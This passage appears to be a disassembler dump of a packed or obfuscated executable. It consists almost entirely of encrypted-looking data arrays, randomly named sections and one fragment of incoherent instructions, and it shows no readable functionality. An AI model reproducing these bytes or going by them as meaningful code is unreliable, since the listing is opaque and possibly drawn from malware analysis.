74BEEEC5h dd 0FA3EE11h, 9CBBD2FCh, 3E3BFA7Eh, 40C92A6h, 0EF6852ABh dd 0EE3B0A68h, 5484A00Ah, 2E5FA956h, 0A84838F6h, 46E25620h dd 8EC7DAADh, 4F3CC14Ah, 7E0EDFF3h, 5DD313D8h, 626A0B13h dd 3CC910FCh, 67D3A514h, 3753CFDAh, 85C989ABh, 83FDDA73h dd 6855686Eh, 331FFADAh, 0D60273A2h, 2FDD696h, 0E32E8C9Dh dd 824A79F6h, 60E5D6C5h, 0C7DB3D6h, 0ED863C1Fh, 2FEFA94Bh dd 0F5B3B7EDh, 4C36DB40h, 14DD850Ah, 7D654DC2h, 96A84A62h dd 0F31CF3C2h, 539D1643h, 0C2C2BDA3h, 0F7A23A3Eh, 0B4CEAF8Ch dd 7BB82FA8h, 5B9F1D41h, 4D2964E9h, 46B1F738h, 997C562Ah dd 0E1EDF9E3h, 9CE8244Ah, 0BB0964E3h, 17C6F234h, 0D561B8D8h dd 0DE545275h, 6D8F4895h, 0B5CC7B6Ch, 1AF2719Eh, 1CD797CCh dd 75A6EBE2h, 68EAA421h, 0FED1D2ADh, 0FC6B6639h, 0BEC1B1F3h dd 7C38EABCh, 79F61B97h, 5B59AD13h, 5E7C3ECBh, 99C92CE1h dd 7D17F185h, 0FDB60705h, 0B2BE83B5h, 0FB89EACEh, 0DB197EF6h dd 0C2501F23h, 0F1565C74h, 8FF9BE1Dh, 774D3949h, 0DDE84FF9h dd 4F417EC0h, 89738FC0h, 0DC7EEB56h, 0BA77F8BEh, 7DB0BC4Fh dd 8CB5F87Bh, 0D62F5790h, 79B62F55h, 0FF8BE0ECh, 96AD7C22h dd 7350245Fh, 0BDA1854Dh, 7186FC6Bh, 0C9C992A7h, 61F5E137h dd 0E729B3DFh, 602B5CE6h, 5ED3E8F3h, 4B4C7DA8h, 0A6AAA7F5h dd 0DDE55555h, 2D339702h, 518AC08h, 0A292CDA1h, 5324E42Ch dd 76A72D99h, 761FF211h, 5A9F699Ch, 0F65484CEh, 0D55D7252h dd 66F07073h, 0DE3D0D81h, 0E944D70Eh, 3E258BA1h, 0ABA7DAAFh dd 8EF0A26Ch, 7000624Ch, 0A440E124h, 9D0D4012h, 0A75C8A04h dd 69D04E80h, 0AA74D3A1h, 269D94E8h, 0CBA7413Ah, 0A149124Eh dd 0E81B45D3h, 2EFDD044h, 0FC53B046h, 1B3EE8B3h, 37CA6D6Dh dd 0E7C4E350h, 813A73C1h, 0A9A8C087h, 6149CCAEh, 7F0ED4ACh dd 0C94F2FB1h, 6C4618C7h, 0DB6C024Fh, 0ABA2CBECh, 0A56AE80Dh dd 0FE0BBCEBh, 0C685817Ah, 1C0B1859h, 82B4D714h, 235D5F5Fh dd 0F77CFAA1h, 0A68DE901h, 0D3B6A521h, 0B834817Ch, 97AC02BFh dd 454ECD54h, 8F56D7BBh, 3005DD12h, 0F2FF565Dh, 2BC3B3D4h dd 0DE3F1AEEh, 54918605h, 534461F1h, 8D9EDDE9h, 3D9D3DF2h dd 0B0BF4C0Ch, 0B4A92924h, 6E07CEF1h, 709CDA65h, 88DB56EAh dd 237B69EBh, 1F6CFA88h, 0C9B8B3FCh, 1BED7D7Dh, 0CF730D79h dd 0E1C6C44Bh, 7EEE3703h, 0B537F9B8h, 0E76D078Fh, 0EB140FF1h dd 0ACEE14B2h, 0E7E0348Fh dd 5E0CD8A3h, 3764D715h, 54870831h, 0DAA55BBFh, 31FCE3F3h dd 7B9D38E0h, 0B91AF517h, 99FACA3Eh, 79F299B9h, 2CB0C5D9h dd 0C950A9DAh, 77CFAC64h, 5CFBB2EFh, 3F221DE9h, 0EAFD44B0h dd 0A88A7ACCh, 77783D6Ch, 22C7A92Ah, 0ADD5BBADh, 0D45B8712h dd 6DF1FC38h, 69B1CCAFh, 0F76D77Bh, 9B2A1D6Ch, 0F86E6996h dd 0AE2E7D5Eh, 0E17D34C0h, 98452FF6h, 1D7C63C2h, 71737446h dd 0E7DD4CB0h, 0DDF2ABCh, 24FCDF7h, 86DD35B3h, 3E0212ABh dd 7DC1F7C9h, 0F470A9E8h, 86F3BC88h, 0B653E1Fh, 45CC0448h dd 34F9FD27h, 0C2F2D7E6h, 0ED4A24E8h, 0B5E9F37Ah, 8348E7A9h dd 0EE5642D7h, 5196FA3h, 5189996Bh, 987EA5B1h, 7618A67Ch dd 9A363763h, 2CB8CE0Fh, 0C55797F7h, 0DC43E97h, 0BEEBB20Fh dd 3AC5EFDEh, 700B8AB7h, 1D7B98B4h, 5678F9B6h, 0FE63C2B9h dd 92DD7DCBh, 0A49F1CECh, 4B4AE833h, 2DB9643Ah, 545F029Fh dd 312F5D43h, 38EFB61h, 3EBEB582h, 7E32DA94h, 76992C6Fh dd 0EA16A109h, 0BC5EDF7Ah, 67B6956Ch, 8DAEDAFEh, 0F8B33E16h dd 9B20B8FDh, 0AE73AEE5h, 5E63A3Dh, 0F8015A95h, 2AACC477h dd 798B4A3Ch, 0AD0CA649h, 47A6EE5Fh, 57C4BECBh, 98680498h dd 46D34C39h, 0B1C78EADh, 0D6D783DEh, 942C15FBh, 450BC9F3h dd 4B3C5899h, 4D8CAEBDh, 0EE4172D8h, 0EEFEF861h, 47AC11E5h dd 5737AA91h, 0D99FA079h, 0ECD8A2BEh, 0F4FABF32h, 214D9877h dd 0C9924F3Dh, 0BAB631B1h, 7AA8B0D5h, 0E5CEA826h, 9DE7A80Bh dd 0B6E5CF4Fh, 1FFC3EEBh, 7C9F93BEh, 5E3BEE2Ah, 36259B52h dd 405EE2Ch, 0D8E7BA1Fh, 309CDA20h, 4EFABDF7h, 0D9C1C6C5h dd 0A68A9A48h, 7E43B758h, 399F2132h, 467BF275h, 818A88Fh dd 2D14F3BEh, 88DFC7E5h, 0A2117C32h, 0D55D1C9Dh, 0C7AF7597h dd 0BF24CA2h, 0FDE591D5h, 8A61A69Bh dword_776F70 dd 430B5CBFh, 928E45F9h, 3572F0B4h, 5CBD1FECh, 83C89ADCh ; DATA XREF: zugr1819:0041F79Co dd 0BE976D5Bh, 785F5CC8h, 2F1873BFh, 4075CC63h, 0D55C2A69h dd 462C9177h, 76AB009Fh, 64BCB54Bh, 0FD52E2E5h, 9856BEE9h dd 0BFE028ABh, 0C090AB18h, 37EE6228h, 7C031C3Ah, 7DB932Bh dd 0DFDA4957h, 0BEC41614h, 1D8EC3D8h, 96584CF6h, 114638AAh dd 95CCEBB7h, 0A076BA5Eh, 0FABA3AE3h, 703FAFD9h, 4A5FFF61h dd 88AF7D0Eh, 356DCA8h, 0BD59AAF1h, 1737A8BDh, 3BA55F3Fh dd 0D94B7D23h, 73184846h, 4FC65DE3h, 59CA05F4h, 0EFA90787h dd 0FA1854B8h, 3781968Ah, 0FDDC290Ch, 4A4E2C5h, 56370F3Fh dd 4A015BEEh, 0BC74C3A2h, 671E479Dh, 56E58D06h, 9895EC5Dh dd 69B2802Bh, 0CFBA9E4h, 0DADCB1C1h, 367B736Fh, 7DF2C97Eh dd 8B004963h, 31ACB1B9h, 89E5D282h, 0B9C65218h, 0D90B971Ch dd 6D1F6F6Dh, 1A8EA3EBh, 97DCBA6Dh, 1CE70FB4h, 75F20D28h dd 13F8C4E6h, 7AE8E52Dh, 4D2EFE72h, 5A28AB57h, 0D6DEFD98h dd 0A4355D8Fh, 559BB4BEh, 1AD5A4F0h, 60615CE5h, 7DDDD133h dd 9F9836D4h, 0F2EB6FEBh, 3FA98D97h, 0E9F42709h, 202FA236h dd 45707620h, 5050E332h, 6F55EDB5h, 9DC491AEh, 0AF2249F2h dd 0C9AB374Dh, 688AB405h, 0F74CF3Ch, 2A7F5806h, 0C79120D9h dd 0FAD7B7EFh, 0DF93F37Ah, 0F9AC8C65h, 4C25C774h, 0A141EBBAh dd 70F4D2D6h, 810FA95Fh, 0E0F28B41h, 43FA8FB0h, 0FFD9A3A0h dd 0AB8C96C2h, 902C9A82h, 38FDA9CEh, 491C4042h, 0C1FD7C83h dd 0ECEF3F06h, 225B42B6h, 0A3EBDD09h, 0C0568A4Dh, 0BA88B735h dd 7330AA2Ch, 0CE2D8741h, 0B1ED051Ch, 36B5C4DAh, 4AAA7ADDh dd 8B7436F6h, 2296F9A2h, 0A702D17Ah, 3A51A7D6h, 0FAD291A8h dd 412BE95Ch, 1B87F453h, 0EF6C8AEEh, 2A34FFBEh, 0E40C8817h dd 5E1FA9DFh, 39B0365Ch, 80205829h, 0EAF02FDDh, 2B9A613Ch dd 249388DAh, 0A471257Fh, 0D4CC90DEh, 7F07DDC9h, 37B5E9E2h dd 41F0F105h, 7C31EE8Eh, 9FAB2A9Ah, 0FFCC6A52h, 0AF0B1D4Eh dd 0EA3F0358h, 4D1C1305h, 0DD3DF75Ah, 0C0B8BDEDh, 4D22EBC6h dd 5EC3084Ch, 14807FBCh, 0B94798AEh, 0A0AE0BFFh, 4AB0C49Ah dd 0A423A11Eh, 52A1968Fh, 771C69A1h, 858208D5h, 36C53358h dd 958D223h, 0ACB6BFA9h, 9018E32Bh, 2EAD9FE8h, 8DB6EF61h dd 0A56E5696h, 33AF495Ch, 5AC48B86h, 40DD0B5Dh, 31F6D4E0h dd 302521DCh, 0CBEEEFD3h, 6C5F49Dh, 6A1F8CBFh, 0E8C512EAh dd 0FD2DE5F6h, 0A40281ABh, 561F574Ch, 0AE20EC47h, 954A82FAh dd 0BE260A36h, 0C10C09BDh, 4A4404AFh, 3D6FD884h, 11A78A6Ah dd 3972FD4Dh, 0C4C07009h, 938F54C8h, 1856149h, 5E90BE8h dd 0D2E3C393h, 0ADC0A11Ch, 0B826B383h, 0A912B451h, 3C6EA3CBh dd 5D177B2Ah, 0B57B5A13h, 0F0FCC3EAh, 636564E4h, 0D9EF3650h dd 25917D57h, 86B40146h, 3F6B7DEEh, 3C6CD870h, 31C584F3h dd 0B83ABC1Eh, 0A285F375h, 155B3FF5h, 5260B05Dh, 0DA362959h dd 2BEBE41Eh, 95DB29E7h, 30DB14Dh, 0FCC39C6Eh, 0EF3F72DCh dd 3E9A48E3h, 690176E7h, 0CB5D295Ah, 5764F6FFh, 52345AAAh dd 105B2477h, 0A9EB0ABh, 4FA6F8F0h, 0D83BF025h, 0FB59DF2h dd 911FF06Eh, 0B8556784h, 0D672B473h, 6FCD7A28h, 87597A38h dd 0AEC5CCBFh, 562DC197h, 0D2FB151Fh, 0BFCF9F39h, 96706CB2h dd 0E8BAE95Fh, 1711C06Bh, 491665A4h, 9D186475h, 0BF92FED0h dd 0F32D1B72h, 7E62A8BBh, 941DF6A0h, 0F0420A76h, 338E321Fh dd 8D4170E1h, 8EA4A860h, 51B78E6h, 5623DE2h, 65BC4654h dd 0E2AA9BF0h, 9ED24554h, 5E027689h, 6964B5BEh, 76792EC5h dd 0FFBFD0BCh, 858F9E2h, 8EA53FABh, 0FA705EABh, 0F8FEEDF2h dd 0E8F3DA98h, 0BA5724F2h, 0A6B15617h, 0E7605EF0h, 7E21A4E6h dd 7F9FA996h, 5466FF76h, 5656C6F4h, 0B674919Eh, 6294FEA3h dd 7EF3BEDh, 0A9B0F816h, 32A5A523h, 0A3E243F1h, 8FD3EAF3h dd 1D4CAF82h, 0BA211E24h, 9560244Ah, 834E1A9Eh, 27FDBDA2h dd 58077229h, 45B8F95Fh, 17F86497h, 6996AC4Ch, 5B8DB652h dd 173F6262h, 6E365DA3h, 4AD909BEh, 38BB17FDh, 4557085Eh dd 0DE579F9Bh, 0FDC69779h, 405FF03Eh, 761547F1h, 16D10D05h dd 44736C45h, 0C79A1FE1h, 0AA210EDEh, 4B31FB93h, 365FC9FFh dd 2606C853h, 86FBCD0Eh, 0FD8CFE89h, 0DD4C082Ah, 85FBB77h dd 99D3FC72h, 0F97BE72Bh, 0E2502025h, 5DE77A3Ch, 0BAB31419h dd 0BDC7DFA4h, 3D0725Dh, 96FCA1F8h, 0AB749153h, 0DD65732Bh dd 8DCE9FEEh, 93977850h, 0BEF8175Ah, 0C703F8E1h, 0F578385Fh dd 1646FAA2h, 111B0E89h, 0A4A9A022h, 69A2D6BFh, 54B3BCD1h dd 0FDB7FBC7h, 0FA1845C6h, 4B35DA51h, 0BBCB1F95h, 0DB2095DCh dd 1A40D69Ah, 0EEE728EFh, 8E13BBD3h, 6B45771Fh, 0D3C4B15h dd 0EEDC9619h, 0E6C508B7h, 7C093F0Fh, 0EAE8B970h, 5F9AC42Dh dd 4C051D72h, 0FB44ECE6h, 0C79B6598h, 88A9ADF7h, 1FF6FDDFh dd 0DA8CD077h, 9FEEAC4Dh, 8362E7B7h, 39B5BF62h, 0BEE6C2FBh dd 0C8DAB32Eh, 0E0BE5362h, 839B3116h, 3F982510h, 0DFDDD4C6h dd 0BCEC5DFDh, 0F563B7Fh, 8F67D99Ch, 0C163DDA4h, 2D1B0632h dd 4BF2F2CBh, 0C9DDD948h, 2348B82Ah, 1F44B4C8h, 25BA7758h dd 7AA483F7h, 0B2BE17E4h, 0AC1CF68Dh, 0A280C3E1h, 103F671Ch dd 0FC276A4Dh, 0C6E1206Fh, 0F7A76B3Fh, 0EA95D5BEh, 5F9E7CFBh dd 27E842D1h, 457089DCh, 0E5BDA9CCh, 0F1243CAAh, 0CD89BD06h dd 3A67DA6Eh, 0C4E5DFABh, 0E87ED275h, 9B6E3E38h, 2D313279h dd 46F8CBBDh, 0F0DFE7AAh, 0EF6BC103h, 77AC099Ah, 0AD890DF7h dd 3789497Ah, 0A37D14DFh, 2C5BD6B8h, 0AA4FBD15h, 0D1FECEF2h dd 270AA55Eh, 0DEAC96D2h, 8A2CB325h, 3E28BF80h, 9AEA8652h dd 5F139C6Dh, 842DD5FDh, 0E3B19746h, 24CE0687h, 71EA9911h dd 70D518C1h, 0C04C045Dh, 0DA1A307Ch, 4953DD7Ch, 4258FAD4h dd 0D3CA780Bh, 1D85A1A2h, 7C0EC732h, 12974697h, 54DE6275h dd 7D53D4Ch, 5C21E687h, 12C5075Ch, 0DC1DDE4Dh, 57AD99B1h dd 0ADAB5764h, 495FF1A1h, 87E256CAh, 9034F3DCh, 45363D35h dd 5106BE2Ah, 0A1F767C1h, 560DA86h, 0A9316A78h, 4769F6F6h dd 3ABB9F04h, 8D169AD1h, 0B55D2E89h, 51C51D8h, 8D47EF18h dd 8CF508E2h, 584A2E5Dh, 2221AB73h, 73870928h, 43BB2BEDh dd 265EB8D4h, 0F2BBCB89h, 8CA4C1CDh, 55995532h, 6E10AEFFh dd 664683AFh, 8A01AF6Fh, 0EE0A897Ah, 0D0224D9Fh, 544FBEC7h dd 4B2D291Ah, 5A0E47E0h, 620DE501h, 1B17094Eh, 4056636Dh dd 55604657h, 89EEDD11h, 4EA0F602h, 72282544h, 0DC1A2345h dd 7810A45Fh, 0A9E3122Fh, 0B7FD3BB2h, 0ECA5BDF6h, 0A07CE8Ah dd 154751AAh, 0EA9C0AC3h, 36A338B1h, 5853D9DAh, 0BD50CCA9h dd 0D328E18Bh, 0D1D878ADh, 2ED9FC6Eh, 8F84ACACh, 21D51B24h dd 851A150Eh, 4EC612BCh, 2033E7FBh, 0FBD4D673h, 5BBE4A3Eh dd 20D4E9F2h, 2FABB62Eh, 50E11DC6h, 581A81EDh, 0ED9D20Dh dd 3BBCDABAh, 0B5BDA772h, 0F37E853Ah, 58EE891h, 62D077D5h dd 0B359B5EBh, 0EA8E97FBh, 31717789h, 0A265C825h, 1DB8485Dh dd 0A1CC8351h, 0C2E165DDh, 0B46C154Fh, 87B3B199h, 33753AD9h dd 0F6BCA2DFh, 695D498Dh, 1DB2AE99h, 3D60138Fh, 374418E9h dd 0E1E2FBDCh, 8A1B1322h, 0CB9856F5h, 0D729D20Ah, 0E74A2D10h dd 0A7EBEC4Eh, 37BEEC12h, 918DCC0Ah, 6C248BEEh, 4699FDBAh dd 70F68EEDh, 1483FADEh dd 130DBB19h db 4Ah, 0BBh, 86h byte_777777 db 22h ; DATA XREF: .data:off_42CA80o dd 0A79A042Ah, 5717921Dh, 0AD2EAAF8h, 1D6E3EAAh, 0B822D4D7h dd 0E7628521h, 8D688BD9h, 8D75D17Bh, 0C1E26DABh, 1FC7DEC3h dd 0B3469C02h, 4F38595Fh, 2CB9C23Bh, 27C4168Bh, 71F2CE14h dd 1F8C5D51h, 96AE1C4Ah, 3DE6E6E2h, 0C1E53ED6h, 1B40E7A9h dd 0B7CFC6C6h, 0F4B1EE4Fh, 0E99292B5h, 0AC278A6Ch, 0C36D2C8Ah dd 0CBC39DDDh, 0CFBAB6BFh, 0D3C95338h, 0D126B947h, 0E86B155Ah dd 0AE90B064h, 0B4FD86A5h, 0C066572Ch, 2B4D797Dh, 71DE70CBh dd 8DB2C85Bh, 2160E2C8h, 512D0FC4h, 0AB34E65Fh, 5863C6A1h dd 70F57292h, 58D4F753h, 5C152D82h, 15F839Dh, 7B32C86Eh dd 0D6DB35C7h, 0B4778203h, 9C3BAF52h, 7236ED76h, 8AC3ACB6h dd 9FF3FADDh, 0B8A4475Bh, 244DB21h, 325593A0h, 2C25A211h dd 3C77B168h, 77EFD402h, 0F5874BAAh, 6B327825h, 0FCC7CF8h dd 0C7CDF73Dh, 6C942A80h, 3F547672h, 41788852h, 71488AAEh dd 826BD595h, 7A6B53B4h, 1BECD0B4h, 0FC31FEDh, 459DB452h dd 0F65965EAh, 71CC6AD5h, 0CBF050B4h, 7352F731h, 507B0115h dd 10F288B6h, 8EBFE089h, 4530A168h, 0CAA8E55Ah, 0A40BB8B1h dd 6B5B2A8Ch, 0B548AEA1h, 815EAF30h, 5E93CAFFh, 89D4DF9Ah dd 0B3B1F16Eh, 0E6A2C22Ah, 717E96B5h, 5AD3EEB8h, 0DA92EB4h dd 0E9D9B48Dh, 0DFDF0377h, 5DABDA8Ch, 310B7B62h, 0F341BBBDh dd 0C2998B14h, 0F5561B68h, 0D488CABBh, 122B2330h, 8DF5D524h dd 68375EE9h, 0E15A5489h, 76B5F870h, 4AFB2B47h, 53C52486h dd 5AAC4063h, 989F1D99h, 40319A10h, 58F6F7F6h, 0D677F092h dd 959B777h, 2F5EACCEh, 0C8FF987Eh, 0FB177DD0h, 0B7764F7Dh dd 0A6D1681Bh, 0C45DDC60h, 0A6A54912h, 0A92B986Dh, 7C79BB01h dd 1F7EF0E0h, 7DCB8B97h, 59F005BFh, 0EE00FA38h, 5C015EB1h dd 0D7C6BE9h, 165D580Eh, 0C9500553h, 0DBF278C2h, 3A9781CAh dd 0BC14CE5Ah, 0B748D983h, 4A9272AEh, 0ED476EFDh, 9EF971F0h dd 6AB90186h, 96876E7Bh, 1E22981Ah, 0AC56948Dh, 0E970061Fh dd 0D4B9FA4Ah, 0E6AD29E7h, 14937C3Ch, 7AC3DF4Bh, 0F4B0C784h dd 843F88FBh, 0A4AAF1FAh, 1E7D1BC8h, 2A3CF3A3h, 76078848h dd 45105FBFh, 0C5FB49C5h, 87E3E7BDh, 453AF5BEh, 8AECBB7Ch dd 0DD2BAC66h, 74B019F6h, 0D072BF9Ah, 5FC7AC8Dh, 21DFEC12h dd 0BFDDA49Eh, 0FE895E0Ch, 0ED18A93Ah, 3A9EEA55h, 26DE3C4Eh dd 0EA17BAC2h, 0A69E1DDEh, 8144E7D3h, 0F5BDB918h, 0C1A6032Dh dd 3D3C3303h, 3AAAE363h, 98AD5C27h, 68F582E5h db 5 byte_777A31 db 42h, 95h ; DATA XREF: sub_7476A3:loc_7501CFo ; --------------------------------------------------------------------------- loc_777A33: ; CODE XREF: _0xtwbvzc:00777A5Fj push ecx fistp word ptr [ebx+42h] shr ch, cl mov ebp, 6B9368CDh pop edx sub edi, [eax+64h] cld fdivr qword ptr [eax+esi] mov [esi+edx*2+72h], cl aam 39h push ebp xchg eax, edx pop ds sti inc edi pop es mov edi, 821539EBh sub dword ptr [eax], 0FFFFFFCBh xchg eax, esp cmp ah, [eax-18h] push edx jno short loc_777A33 test [ebp+42h], ecx sal dword ptr [ebp-2Ch], 0DBh sbb byte ptr [ecx+69h], 5Ch or [esi-1Dh], ebx ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- mov esp, [edi-1Fh] retn ; --------------------------------------------------------------------------- dd 24723CF9h, 57ED4462h, 8484FBF8h, 0E37D6A1Fh, 0FB492ABDh dd 82333D0Eh, 53D4A197h, 0C47E0730h, 0DEAC7A58h, 9491B388h dd 245A3633h, 1BB57DE0h, 894778EAh, 0AD97B6D8h, 3574BC80h dd 0F1511EF0h, 60A7C097h, 8B9433CAh, 19129FADh, 4A535A22h dd 0C20F3E15h, 0B3E38D92h, 0D9408702h, 0A1F4556Ah, 5DF7414Dh dd 89E0684Dh, 0F9237112h, 4E57748Eh, 7EBADF04h, 14C7696Bh dd 9211CB2Dh, 25DE7F3Dh, 0DEC8EF29h, 0D1B73C96h, 6F6B680Ah dd 4D32976h, 365BE455h, 40C0045Eh, 0A879C1E1h, 8EAE8791h dd 0E6E30B2Bh, 43B67827h, 2C0F81FBh, 0ADF1BF7Ah, 0DF1F8CE3h dd 71A4ACD4h, 8A87291Fh, 94460D7Fh, 5B7E1455h, 9209322h dd 0A8531618h, 3ADE687Fh, 95565C40h, 27886A04h, 79389865h dd 684C55F2h, 8BFD5CDBh, 0E950DB87h, 0EB6F6263h, 0A729A0h dd 0CB645273h, 0FD4790BDh, 7C1E630Fh, 87B77ABh, 3E682C28h dd 134C1123h, 2BA686E2h, 0C045E8F0h, 6C02B8D0h, 638F312Ah dd 0F89DB899h, 528956A1h, 0A771ED7Dh, 0E7FD4F17h, 0E1AB01BEh dd 7C8BE3CDh, 0BD815A38h, 215F5D46h, 0C296F764h, 0F95179C8h dd 9F11B09Ch, 4B657D55h, 0D6847F05h, 6ADA713Eh, 6FFB138Dh dd 68ADA37h, 3B9A0E27h, 591FDCEDh, 0C156A234h, 5B0E85FEh dd 0C056EB91h, 175E88E2h, 797ECBB0h, 0EA0D03F9h, 2F0A6E8Fh dd 6E92D68Ch, 0C14B851Ah, 0A44A230Fh, 7744E441h, 2603C9F8h dd 0B55CA21Bh, 7C003C05h, 52F04F26h, 86E2B9F9h, 5C347C4Eh dd 84E024BEh, 7271931Bh, 0B4B62C32h, 0B1C14A74h, 9648F768h dd 0CEDF4940h, 0B211397Bh, 0FBC3229Eh, 68DDF02Bh, 0B2D10181h dd 6F63D690h, 0CCCA74EBh, 2AD02091h, 0A6BA4CE7h, 1B2CED52h dd 928B5499h, 0E3276950h, 0CEB27CD5h, 570C0057h, 8B130A49h dd 15BDAFA4h, 56BFEC74h, 4F224BDAh, 636754FEh, 5ABFBE48h dd 0A82F945Eh, 0C3CD5618h, 0E4948963h, 0C41F4A84h, 9D620C0Eh dd 13E4956h, 86B6DD71h, 6D7F1708h, 1E1E56ACh, 35482515h dd 109575F6h, 0B60FAF81h, 9E56412Eh, 0C99103C9h, 0F8047ECBh dd 168D98C2h, 0D559CB1Ah, 474A3D36h, 989713CEh, 0F43F1380h dd 5F28FC62h, 610B22E9h, 7670A6BFh, 0DBB36898h, 57A435D6h dd 4721390Ch, 4E1C941Ah, 0F77E823Eh, 51AC3174h, 0AE3934D9h dd 8545AB59h, 0D7097030h, 0C3AECBEFh, 384D2FF7h, 6B5227B8h dd 3BFAA22Dh, 25AB29BCh, 0A88BFA94h, 5B168144h, 299B44F6h dd 8949BBAEh, 0E90EDFC6h, 9C52A3D8h, 15BD3C5h, 2EC6C3B8h dd 237ACCFDh, 59828739h, 4D77D28Bh, 0AC812202h, 0EEF83999h dd 0B8B70090h, 0F6DF67DCh, 0B6EF895h, 0BA782792h, 185ADD32h dd 2DD97C7h, 673D11A2h, 2F3EBC38h, 0E662FB49h, 0A2826C5Ch dd 88DE7516h, 0FAA54CCFh, 35010960h, 0EF1D518Dh, 0DBE4FDC7h dd 0C5FF6DAAh, 38D82757h, 0A74D9B4Dh, 565DC932h, 0C87BB3E5h dd 1C0979A0h, 0D66E333Eh, 978BFE0Eh, 6988E3C5h, 9D8A2E8Ch dd 0D356FB22h, 62D6BBEh, 55874A44h, 0B7B51002h, 60BEE202h dd 0C224EE2h, 3BFBF232h, 0ECE09A47h, 0DD7C07BDh, 571F6F2Ah dd 0B317F1EEh, 7865D749h, 0C3F6E163h, 463EF66Fh, 0D62C62A1h dd 0ED619D79h, 0D2AD6844h, 5C75B775h, 8DC7C954h, 0D186A695h dd 1CBECB89h, 0E32BD4ADh, 0A9D794E2h, 0C2A5F09h, 1DC3DDDEh dd 0ACE0368Ah, 3B05C51Fh, 0DDA47C31h, 8A16EE56h, 45E06CBDh dd 0B70696C5h, 226A9433h, 0AF675C02h, 95B65513h, 5860D784h dd 0BE501752h, 0D8CEBE6Bh, 485F6439h, 0EADD0EF3h, 297ADD59h dd 4D12D7ADh, 8AD4EA96h, 0FAD5F33Eh, 0A594C16Eh, 0F4F9C01Ch dd 0C21688AFh, 4F74CB46h, 5519A543h, 1A5DDC35h, 0DD697ABBh dd 2150D33Eh, 0D67BFF9Dh, 64758816h, 104250F7h, 6738123Ah dd 3CD7FEA8h, 774E7E58h, 997DF2Bh, 4B4AB9F4h, 0B5358C9h dd 0AAE78827h, 932A039Ah, 0D5DEA5E0h, 2F47EB06h, 24B71BE8h dd 9A972625h, 9EE3C737h, 1E592310h, 0F3A6DF95h, 9B3F0FC1h dd 0B0AACAE0h, 0BAC71E29h, 71996288h, 54AF8B61h, 71EAB46Ch dd 8859EFD6h, 5F7ADCA9h, 7211B4D2h, 2577A076h, 0D910A9D6h dd 72F020ACh, 0E2DEC1C2h, 0E70D6AEDh, 6890C0Fh, 4416DFF1h dd 946F2B8Fh, 64622E94h, 0E8D49FADh, 0F55725C8h, 39609280h dd 0D497BF18h, 1856B93h, 0C9ABC0B0h, 0CA2C9FEFh, 9320193h dd 0ABA5B672h, 877BF942h, 10EB087Eh, 5465ED70h, 0A048E17Fh dd 3B88D40Dh, 64BA983Ah, 0FE0FB43Eh, 0A0213852h, 75B52214h dd 51821194h, 71C9B560h, 0FF7ED35Dh, 88C424F4h, 0EEB7542Eh dd 26F612EFh, 84A810ADh, 8B2DF0FDh, 561F0DBCh, 0CF557BA2h dd 0D5A68933h, 0DA5785E5h, 0E6771BF9h, 3271B4D6h, 702E14FBh dd 4B7EF292h, 2A1FEBB8h, 84F1AE6Bh, 838B7EA6h, 0A8D67F97h dd 94858A8Dh, 6ED013E0h, 0A3C62ABAh, 0FC663CA0h, 0F383FFB0h dd 562619EEh, 3699EB89h, 0F1F6A86h, 0DFCEDFB7h, 0DEA30F25h dd 62EC17FDh, 45ABD3FDh, 66235B53h, 555EE5E1h, 12C2DE5h dd 0E99CBA47h, 39352A95h, 45C4ABDAh, 4B8C8EBFh, 0F3FC82CDh dd 0B5A1510Bh, 68AA19AAh, 0DDC4A592h, 277D4EB1h, 0DE076665h dd 0E76D4830h, 6BD3D336h, 5EF81532h, 51F1BE37h, 91C5689Bh dd 0C14D6A23h, 0BF25507Ah, 9BFAB4EAh, 42AD58BEh, 6F6F8FC9h dd 0D579A906h, 0D1CEC862h, 0DF700D1Dh, 0B01DAF7h, 486159BFh dd 623607E4h, 0EDF07D04h, 0DE547CD3h, 41247E17h, 0F84745D4h dd 0F52BBFFBh, 0ABA2CAE9h, 5A1C447Fh, 0AAEBDCAFh, 36F77318h dd 4F4F7891h, 0E5A43F74h, 0E642A393h, 721FFF39h, 3AB916C8h dd 0BAB18FCAh, 0D552889Dh, 0DF4ECC6Dh, 299D29ADh, 0A13D0F86h dd 2AEFFBABh, 6881EEB5h, 0E7964169h, 793B5B15h, 0AEFAC460h dd 74DFB3D6h, 0BEE188A6h, 0DEAF0E40h, 6EF8D526h, 0C381E523h dd 0D7843C78h, 0E45DF5E1h, 0C449B953h, 0C028528Ch, 18CFB24Bh dd 4AD10E3Ch, 897F0CD4h, 79BE15AEh, 773ECA74h, 15E2C77Ah dd 53C9670h, 0AEB6414h, 99D60E70h, 22F878CBh, 2F3E92D1h dd 0A6BE66F7h, 0C7C1964Fh, 0D66458FFh, 5E96AA15h, 376B7161h dd 0B6A43E36h, 0A63EC0AFh, 0C0A2FA0Fh, 8FED53E3h, 0EE9243FFh dd 6FB22371h, 5B36BE2Ch, 0C1BB04B6h, 205B07F1h, 0A9DA4DE2h dd 25C378E8h, 9BC97114h, 49E67A55h, 6EA93C27h, 0BE834AE1h dd 3CEEF04Eh, 0FC057AFh, 58B2B021h, 0FE171C52h, 0A5DE63DFh dd 89A958CEh, 62E96A40h, 78D27A03h, 0E9F534D6h, 0B78E2AAAh dd 0A02E2AF8h, 6D1CFB69h, 9D9AFFA1h, 5D6C968Bh, 56A45989h dd 7D399391h, 84A85914h, 0D9EED5FEh, 0DA7DBFEAh, 0AB09CE41h dd 6D17236Ah, 0E8DA26A7h, 913EF52Eh, 0E606C7EAh, 0E567A90h dd 24A5CC36h, 0BCB41ADAh, 311B576Bh, 46735B39h, 0ADB2EBEDh dd 93FA21FFh, 0E2C81B92h, 0D3AB82C8h, 0DDB22937h, 45E7AB62h dd 0FC97F81Eh, 0B3D80D3Ch, 7617F444h, 632FEA28h, 8DD0F6D5h dd 66AF898Dh, 0FEA6235Ah, 87F04E5Dh, 0B32307F7h, 3C6A5815h dd 1B35B9E7h, 5414C4B5h, 81194357h, 640F6DE6h, 546D7768h dd 0FCFEEB1h, 8B407CBBh, 0DE9FC0F4h, 3DF9BC2Dh, 0BB8686C2h dd 0D4B66BC5h, 4A765FEFh, 452DFDB9h, 2AA491A3h, 0E22AF51Ch dd 5527CD58h, 6815FF74h, 39BEDDA7h, 0A9CA1E0Ch, 1D685EF3h dd 0BD12D27Bh, 7B96D4C9h, 6D19BC61h, 0E724EC4Fh, 18B97BD6h dd 62D6AB10h, 9F6F04FFh, 173E2608h, 1DFDF0A0h, 4972A379h dd 0ED839A9h, 0DC438A17h dd 